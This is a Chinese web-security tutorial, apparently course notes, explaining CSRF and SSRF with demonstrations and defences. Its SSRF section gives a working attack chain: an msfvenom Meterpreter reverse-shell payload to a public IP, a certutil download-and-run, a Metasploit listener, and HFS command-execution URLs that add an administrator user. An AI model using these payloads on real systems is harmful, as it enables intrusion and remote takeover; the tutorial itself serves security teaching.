一、CSRF(跨站请求伪造)
1、CSRF原理
CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为 "One Click Attack" 或 "Session Riding",通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输入,但自己的qq号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
【例1】:用户已经登录了银行,黑客发来了一个转账的请求链接,用户如果点了这个链接,就有可能被转账
![](https://i-blog.csdnimg.cn/direct/a98435b15a1c49b2939c8f5984db51c4.png)
2、CSRF攻击实现的前提条件
1.目标用户已经登录网站,能够执行网站的功能:管理员要提前登录(没有登录就没有权限触发)
2.目标用户访问了攻击者构造的URL(这个地址其实就是管理员添加账号密码的数据包)
3.对方知道怎么添加用户的,知道添加用户的数据包
【例】:CSRF攻击:后台自动添加管理员
案例说明:小迪在登录后台管理自己网站的时候,突然群里给小迪说阿祖又说爱上别人了,随后给我发了个URL链接,小迪直接点了进去,GG!
小迪登录了自己的网站:http://test.xiaodi8.com/,现在后台管理员只有一个admin
![](https://i-blog.csdnimg.cn/direct/6e224031a28440d2ab9f94ac39c9af2d.png)
小迪点击了别人发过来的URL:http://47.94.236.117/add.html
![](https://i-blog.csdnimg.cn/direct/d39b529854ad48239c80432aaea39d0f.png)
小迪再次查看自己的管理员页面,发现突然就多了一个叫"xiaodi"的管理员账号
对方就可以利用新加账号进行管理员的登录
3、CSRF利用流程:
1. 获取目标的触发新增用户的数据包
2. 利用工具CSRFTester,构造数据包,导出
3. 诱使受害者访问特定地址触发
【例】:模拟CSRF利用流程
这里我们在本地搭建一个网站
设置代理:端口为8008
![](https://i-blog.csdnimg.cn/direct/76e60cabb12e4425909dac193ef5d8fa.png)
在网站操作添加用户的功能,并用工具CSRFtest获取添加用户的数据包,
点击工具中"start",它会抓取你正在操作的所有数据包
![](https://i-blog.csdnimg.cn/direct/c1fcbb7216124d1ebe19f841b9a420b1.png)
![](https://i-blog.csdnimg.cn/direct/b2d8c7c8810547cb80445439eabb4d62.png)
选择生成报告的方式是"Forms",点击"Generate HTML",保存后就是生成触发操作的所有数据包,保存为index.html
打开index.html,将无关的请求数据包删除,仅保留添加管理员用户操作的数据包,标题可修改为具有诱惑性的文字(可以修改一下用户名的名字,避免已存在的用户名,无法添加),保存为1.html
![](https://i-blog.csdnimg.cn/direct/75f543cdfcb24da991e5522603407212.png)
将修改后1.html(即添加管理员的数据包)放在一个外网服务器上,
用户去访问这个地址http://47.94.236.117/1.html,就会触发添加管理员用户的数据包,成功添加管理员用户
![](https://i-blog.csdnimg.cn/direct/18fbc5ab10344bcaa59a0c968648d45a.png)
4、CSRF漏洞的防御或修复
CSRF安全问题黑盒怎么判断:
1. 看是否验证请求来源(同源策略)-修复
2. 看凭据有无token--修复
3. 看关键操作有无验证-修复
CSRF安全问题白盒怎么审计:
同黑盒思路一样,代码中分析上述三看
(1)来源验证
看有无同源策略:
比如后台添加用户,从后台点击按钮进来的页面,有同源,能访问;
未登录,直接复制这个地址,如果能访问,没有同源策略(可攻击);如果不能访问,有同源策略
【例】:
打开百度,修改图片地址,让他指向xiaodi8.com
![](https://i-blog.csdnimg.cn/direct/28f9cb186521403fbd1af817c43c2474.png)
当点击图片的时候,抓取数据包,出现关键字段Referer: https://www.baidu.com/
可以说明这个数据包的来源是从baidu.com中来的。
![](https://i-blog.csdnimg.cn/direct/8fe420f2373b4c129e269f9eea60001f.png)
如果做了同源策源,验证如果不是自己网站触发的数据包,就认定为非法来源,这样就可以起到防御效果。但是同源策略只能防御一部分,因为来源可以在数据包中进行修改
验证有没有同源策略也很简单,比如点击文章管理打开页面是有来源地址的
![](https://i-blog.csdnimg.cn/direct/bdd1944cd4a6454c90a9d48d0a05f716.png)
而 如果复制url打开,他是没有来源的,但依然可以直接打开,那就是没有检测同样策略的
![](https://i-blog.csdnimg.cn/direct/9950d54191e34f3a8c5fb70bf3e69ccb.png)
(2)看凭据有无token:
登录用户时,看cookie值里面有没有带token
![](https://i-blog.csdnimg.cn/direct/fbad37465e9c46a28c1304fce63a7166.png)
有token,每操作一次,token就会改一次:
token_21d330cd=c36ce18a6e6d189b137244e7429e954e2a34b53000bce07d6fe72af52488f9fe1646377072;
![](https://i-blog.csdnimg.cn/direct/93c8a0de8cd1400f9b9f2f9c1c58dd82.png)
(3)看关键操作有无验证
比如修改密码的时候会验证原账号密码,或者手机验证码之类的
二、SSRF(服务器端请求伪造)
1、SSRF原理
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。
![](https://i-blog.csdnimg.cn/direct/5334231d787f4b62af0c605e05dcd210.png)
【例】:小迪在本地创建了远程图片文件加载应用,直接被攻击者利用SSRF探针本地及内网服务,并利用某漏洞直接获取到内网某主机的权限!
本地搭建了一个上传图片网站,地址:http://127.0.0.1:8081/web/ssrf.php
图片上传功能:用户将自己电脑中的图片上传或者用户给一个图片URL让服务器解析上传
1. 本地图片上传到服务器;
2. 远程加载图片地址上传到服务器;
其中,"远程加载图片地址上传到服务器"包含的过程:
1. 访问图片地址 - 思考:谁请求访问的,你访问的还是服务器访问的?---服务器自己请求的
2. 下载图片上传到服务器;
2、那个这些漏洞能做一些什么事情?
1、服务探针:
2、协议玩法:(更多玩法见上图)
3、内网扫描:
4、漏洞利用:
1. 服务探针
① 输入http://127.0.0.1,探针服务器上这个地址是否存在服务
![](https://i-blog.csdnimg.cn/direct/1b5d52ffeee443a793bbb9e07b626d95.png)
② 输入http://127.0.0.1:3306/,如果查看到返回结果,说明该服务器安装有mysql
当访问的地址不存在服务时,就显示Not Found
![](https://i-blog.csdnimg.cn/direct/a80dbaebbe954f9d921d6a67f056dd98.png)
如果存在服务收到请求,服务器就直接跳转到该服务页面
![](https://i-blog.csdnimg.cn/direct/6e7e51b9586743cb90911d213af2acf3.png)
2. 内网扫描
因为内网IP都是固定的,可以通过爆破IP,不断尝试,
网段上,内网ip一般为:
10.0.0.0~10.255.255.255
172.16.0.0~172.31.255.255
192.168.0.0~192.168.255.255等网段
比如测试哪个内网ip开通了8080/80端口(一般是web网站),可以将内网地址用字典进行爆破:http://192.168.1-255.1-255
抓包,lntruder模式:
![](https://i-blog.csdnimg.cn/direct/15d96c48d7b94539875e9e6893ffc98e.png)
也可以直接爆破是否存在某台资产,并提供某个服务,如192.168.46.1:8080,下面是基于这个url做的爆破
设置字典,
![](https://i-blog.csdnimg.cn/direct/b4376dad066d4708a209973926bce0b2.png)
爆破:
![](https://i-blog.csdnimg.cn/img_convert/0048f606a74b0423a7794037ce6ac8a0.png)
测试后查看数据包的大小,说明内网IP是192.168.46.148存在资产
![](https://i-blog.csdnimg.cn/direct/ca6a390bf13e4662810d9c9541e6e1ec.png)
3. 协议玩法
直接访问文件,利用file协议,可以读取到文件内容,
常见的file协议:
file:///D:/www.txt
dict://127.0.0.1:3306/info
ssh等
通过http协议可以探针到网站服务,通过file协议可以读取到本地已知文件的内容,如假设已知file:///D:/www.txt
![](https://i-blog.csdnimg.cn/direct/81bad4cb616c450794a2517fd007f6d6.png)
4. 漏洞利用
还可以利用这个漏洞直接攻击内网,参考:https://www.cnblogs.com/xishaonian/p/6218170.html
hfs:网络文件服务器
结合之前的知识点利用棱角社区构造playload让其下载木马并上线
① 先用MSF攻击生成后门(木马)
msfvenom -p windows/meterpreter/reverse_http LHOST=47.94.236.117 LPORT=6688 -f exe -o xx.exe //监听端口6688
![](https://i-blog.csdnimg.cn/direct/bf7b3662acee4e4d84891fa00a82b3ea.png)
生成后,这个文件的下载地址就是:http://47.94.236.117/xx.exe(后门地址)
② 棱角社区,生成windows远程文件下载命令:
certutil.exe -urlcache -split -f http:/47.94.236.117:80/xx.exe xx.exe
![](https://i-blog.csdnimg.cn/direct/57162ca16ced4bd8a90a93c36138f41f.png)
③ 启动监听:监听木马上线
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6688
run
④ 构造payload
HFS有一个命令执行漏洞,payload:
http://127.0.0.1/?search== {.exec|cmd /c net user DEF DEFHACKER123 /add.}
http://127.0.0.1/?search== {.exec|cmd /c net localgroup Administrators DEF /add.}
修改一下payload:
(1)让对方服务器下载远程文件xxx.exe
http://192.168.46.148:8080/?search== {.exec\|cmd.exe /c certutil -urlcache -split -f http://47.94.236.117:80/xx.exe.} //IP地址修改为对方服务器的内网IP
(2)让对方服务器执行xxx.exe
http://192.168.46.148:8080/?search== {.exec\|xx.exe.}
远程下载:
服务刷新可以看到下载下来了
![](https://i-blog.csdnimg.cn/direct/2b8a0d1e6ec94a8f8eaa727a83460c84.png)
执行xx.exe:
![](https://i-blog.csdnimg.cn/direct/c67c2f5ff8d544cf8c5353cf089ae057.png)
⑤ 监控到对方上线
![](https://i-blog.csdnimg.cn/direct/2b09ec1c204945199805992815d578a2.png)
虽然说能这么顺利进行,但是在实际上还是会碰到很多问题。比如说,未探针到内网,过滤,有无漏洞,防火墙等等。
3、SSRF漏洞挖掘
(1)SSRF黑盒可能出现的地方:
1.社交分享功能:获取超链接的标题等内容进行显示
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:给网址翻译对应网页的内容
4.图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5.图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7.网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能:数据库的比如mongodb的copyDatabase函数
9.邮件系统:比如接收邮件服务器地址
10.编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain......
12.从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
(2)SSRF白盒可能出现的地方:
1、功能点抓包指向代码块审计
2、功能点函数定位代码块审计
![](https://i-blog.csdnimg.cn/direct/819158cef2dc4dcf835dc69f36d86de9.png)
这类漏洞是基于服务器自身的问题,一般是服务器接收用户输入,并去请求资源,然后会有预览、快照等展示
【例】:比如分享功能,允许填写分享的url地址
qzone.qq.com/?url=www.xiaodi8.com
如果把分享地址改为127.0.0.1,这样服务器就会去请求127.0.0.1,并把127.0.0.1的内容展示出来,结果就是把自己的东西探针出来了
4、SSRF常见安全修复防御方案:
1.禁用跳转
2.禁用不需要的协议(防止内网服务探针)
3.固定或限制资源地址
4.错误信息统一信息处理
【例】SSRF-某实际案例测试演示(功能点)
① https://passport.hualala.com/login?redirectURL=http://dianpu.hualala.com
![](https://i-blog.csdnimg.cn/img_convert/c08aa4dcf4313e7785af48d93938a2c2.png)
![](https://i-blog.csdnimg.cn/img_convert/b3171ac2176eea9519a98e0f4d6915bc.png)
② www.ichacha.net(翻译网站,过滤了SSRF)
![](https://i-blog.csdnimg.cn/img_convert/45e2daee35612d100e5385656dc9ad51.png)
他给过滤了